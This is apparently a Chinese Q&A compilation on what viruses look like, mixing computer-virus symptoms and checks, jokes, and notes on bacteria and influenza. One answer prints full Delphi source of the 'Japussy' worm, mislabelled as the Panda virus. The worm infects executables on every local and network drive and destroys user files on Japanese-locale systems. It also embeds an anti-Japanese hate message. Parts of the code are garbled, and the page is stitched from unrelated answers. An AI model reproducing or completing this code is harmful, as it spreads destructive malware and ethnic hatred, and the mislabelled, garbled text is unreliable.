⑴ 中了病毒是什麼樣子的
了解了電腦病毒的基本知識,我們還必須了解電腦中毒後的一些表現,然後這樣會有助於我們判斷電腦是否中毒。在電腦出現以下中毒表現時,是在機器的硬體無故障,軟體運行正常的情況下發生的。
1、電腦無法啟動
電腦感染了引導型病毒後,通常會無法啟動,因為病毒破壞了操作系統的引導文件。最典型的病毒是CIH病毒。
2、電腦經常死機
病毒程序打開了較多的程序,或者是病毒自我復制,都會佔用大量的CPU資源和內存資源,從而造成機器經常死機。對於網路病毒,由於病毒為了傳播,通過郵件服務和QQ等聊天軟體傳播,也會造成系統因為資源耗盡而死機。
3、文件無法打開
系統中可以執行的文件,突然無法打開。由於病毒修改了感染了文件,可能會使文件損壞,或者是病毒破壞了可執行文件中操作系統中的關聯,都會使文件出現打不開的現象。
4、系統經常提示內存不足
現在機器的內存通常是256MB的標准配置,可是在打開很少程序的情況下,系統經常提示內存不足。部分病毒的開發者,通常是為了讓病毒佔用大量的系統資源,達到讓機器死機的目的。
5、機器空間不足
自我復制型的病毒,通常會在病毒激活後,進行自我復制,佔用硬碟的大量空間。
6、數據突然丟失
硬碟突然有大量數據丟失,這有可能是病毒具有刪除文件的破壞性,導致硬碟的數據突然消失。
7、電腦運行速度特別慢
在運行某個程序時,系統響應的時候特別長,響應的時間,超出了正常響應時間的5位以上。
8、鍵盤、滑鼠被鎖死
鍵盤、滑鼠在進行BIOS設置時正常,進入系統後無法使用。部分病毒,可以鎖定鍵盤、滑鼠在系統中的使用。
9、系統每天增加大量來歷不明的文件
病毒進行變種,或者入侵系統時遺留下的垃圾文件。
10、系統自動載入某些程序
系統啟動時,病毒可能會修改注冊表的鍵值,自動在後台運行某個程序。部分病毒,如QQ病毒,還會自動發送消息。
三、判斷電腦是否中毒的方法
我們在了解了病毒的基礎知識和中毒表現後,自然會有一些方法,來判斷我們的電腦是否中毒。
1、使用殺毒軟體進行磁碟掃描
判斷病毒的第一步,就是通過殺毒軟體進行掃描,查看機器中是否存在病毒。在掃描前,最好升級一下殺毒軟體的病毒庫。
2、查看硬碟容量
對於自我復制型病毒,查看硬碟容量,可以判斷出是否感染了病毒。特別是系統盤的容量大小,大家在平時,一定要了解自己的系統盤容量是多少。
3、檢查系統使用的內存數量
正常使用的操作系統,佔用的系統資源是一定的。如果系統感染了病毒,病毒肯定會佔用內存資源。對於Windows 98操作系統,進入操作系統後,在DOS提示符下,運行mem /c/p查看內存的使用情況,特別是640Kb的基本內存使用情況!在Windows 2000或者是Windows XP系統下,在「運行」中輸入cmd後,執行mem即可。
4、使用任務管理器查看進程數量
在Windows 2000和Windows XP操作系統中,可以利用任務管理器,查看一下是否有非法的進程在運行。對於一些隱蔽性的病毒,在任務管理器中不顯示進程。
5、查看注冊表
部分病毒的運行,需要通過注冊表載入的,如惡意網頁病毒都會通過注冊表載入,這些病毒,在注冊表中的載入位置如下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersionRunOnce]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersionRunSevices]
[HKEY_CURRENT_USER\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\SOFTWARE\Microsoft
\Windows\CurrentVersion \RunOnce]
查看注冊表中以上幾個鍵值的情況,看一下有沒有異常的程序載入。要想提高判斷的准確性,可以把正常運行的機器的這幾個鍵值記錄下來,方便比較!
6、查看系統配置文件
這類病毒一般在隱藏在System.ini、Wini.ini(Win9x/WinME)和啟動組中。在System.ini文件中有一個「Shell=」項,而在Wini.ini文件中有「Load=」、「Run=」項,這些病毒一般就是在這些項目中載入它們自身的程序的,注意有時是修改原有的某個程序。我們可以運行msconfig.exe程序來一項一項查看。由於Windows 2000操作系統中沒有Msconifg這個程序,可以由Windows XP操作系統中復制!
7、觀察機器的啟動和運行速度
對於一些隱蔽性高的病毒,我們通過以上方法無法判斷時,可以根據機器的啟動和運行速度進行判斷,在保證硬體系統無故障和軟體系統運行正常的情況下,可以基本斷定已經感染病毒!
8、特徵字元串觀察法
這種方法主要是針對一些較特別的病毒,這些病毒入侵時會寫相應的特徵代碼,如CIH病毒就會在入侵的文件中寫入「CIH」這樣的字元串,當然我們不可能輕易地發現,我們可以對主要的系統文件(如Explorer.exe桌面主程序)運用16進制代碼編輯器進行編輯就可發現,當然編輯之前最好還要要備份,不然你修改錯了,就沒得救了!
處理辦法:
1、安裝殺毒軟體(免費軟體avast!口碑極好,推薦!http://www.avast.com)待其自動更新後殺毒。avast!支持DOS狀態的殺毒,效果非常好。
2、安裝超級巡警(當成是防火牆吧),在http://www.gougou.com 用迅雷下。安裝後打開所有監控,做漏洞掃描。
3、安裝金山公司的「金山清理專家」。下載地址:http://www.ba.net
⑵ 病毒長的是什麼樣子啊
很帥的
⑶ 病毒的樣子怎麼畫
我相冊里有黑白表情的圖案 如果覺得有合適的 就拿去當做病毒表情吧
⑷ 細菌和病毒是什麼樣子的
細菌與病毒是兩種概念,醫學上是。病毒比細菌小得多。但是電腦里只有病毒,沒有細菌哦。呵呵
⑸ 病菌到底長什麼樣子
樓主給你介紹幾個細菌:
大腸桿菌
大腸桿菌(學名:Escherichia coli,通常簡寫:E. coli)是人和動物腸道中最著名的一種細菌,主要寄生於大腸內,約占腸道菌中的1%。是一種兩端鈍圓、能運動、無芽孢的革蘭氏陰性短桿菌。除某些菌型能引起腹瀉外,一般不致病,能合成維生素B和K,對人體有益。每個人每天平均從糞便中排出1011到1013個大腸桿菌。 長的樣子如下圖:
希望能幫上你!求採納!謝謝!
⑹ 病毒什麼樣子什麼顏色幾個嘴
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之?
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
⑺ 病毒是什麼樣的
病毒沒有樣子,只是它可以阻礙你的電腦系統,使你想玩的玩不了想做的不能做。
⑻ 流感病毒的外形有哪些特徵
流行性感冒是世界上最猖獗的傳染病,曾多次席捲全球,給人類帶來巨大災難。僅僅在1957年的一次流感大傳播,全世界共有15億人發病,數以萬計的老人和小孩被折磨致死。
引起流行性感冒的病毒叫流行性感冒病毒,簡稱流感病毒。流感病毒有球狀或長形兩種形狀。它們能侵害人類、馬、豬和一些鳥。
流感病毒之所以如此猖獗肆行,是因為它們能夠不斷地發生變異,每一至兩年就會改變一下,令人防不勝防。像1957年的大傳染是由亞洲型流感病毒引起的;1968年從香港席捲全球的流感是香港型流感病毒;1973年在澳大利亞和紐西蘭發生的大規模流感是甲型流感病毒的新毒株——澳大利亞型流感病毒。目前所知,眾多能引起流感的病毒每種又可分為若干型和亞型。其中僅鼻病毒就有100多個不同的型。近30年來,大約每10年流感病毒就發生一次變異,這使已經獲得免疫力的人因經不住新型流感病毒的進攻而生病。流感病毒的這種變異特性為預防和治療流行性感冒帶來了巨大困難。不過,現在科學家已採取了主動,不僅有了廣泛的預防措施,就算一旦發現病毒新變種,也能很快地製成葯物治療,所以流感病毒也不是那麼容易作威作福了。
⑼ 生物中的病毒有什麼形狀
病毒的形態多種多樣,主要有:球形、桿形、蝌蚪形。
病毒是一種個體微小,結構簡單,只含一種核酸,必須在活細胞內寄生並以復制方式增殖的非細胞型生物,病毒是一種非細胞生命形態,它由一個核酸長鏈和蛋白質外殼構成,病毒沒有自己的代謝機構,沒有酶系統。
(9)病毒的樣子擴展閱讀:
生物病毒不管是烈性噬菌體還是溫和型噬菌體,都必需在活的宿主細胞中才能得以復制繁殖,利用宿主細胞的核苷酸和氨基酸來自主地合成自身的一些組件,裝配下一代個體。並達到他們的目的。
復制後的生物病毒裂解宿主細胞而被釋放出去,感染新的宿主細胞。
雖然生物病毒會給人類帶來一定的益處,例如利用噬菌體可以治療一些細菌感染
參考資料來源:網路-病毒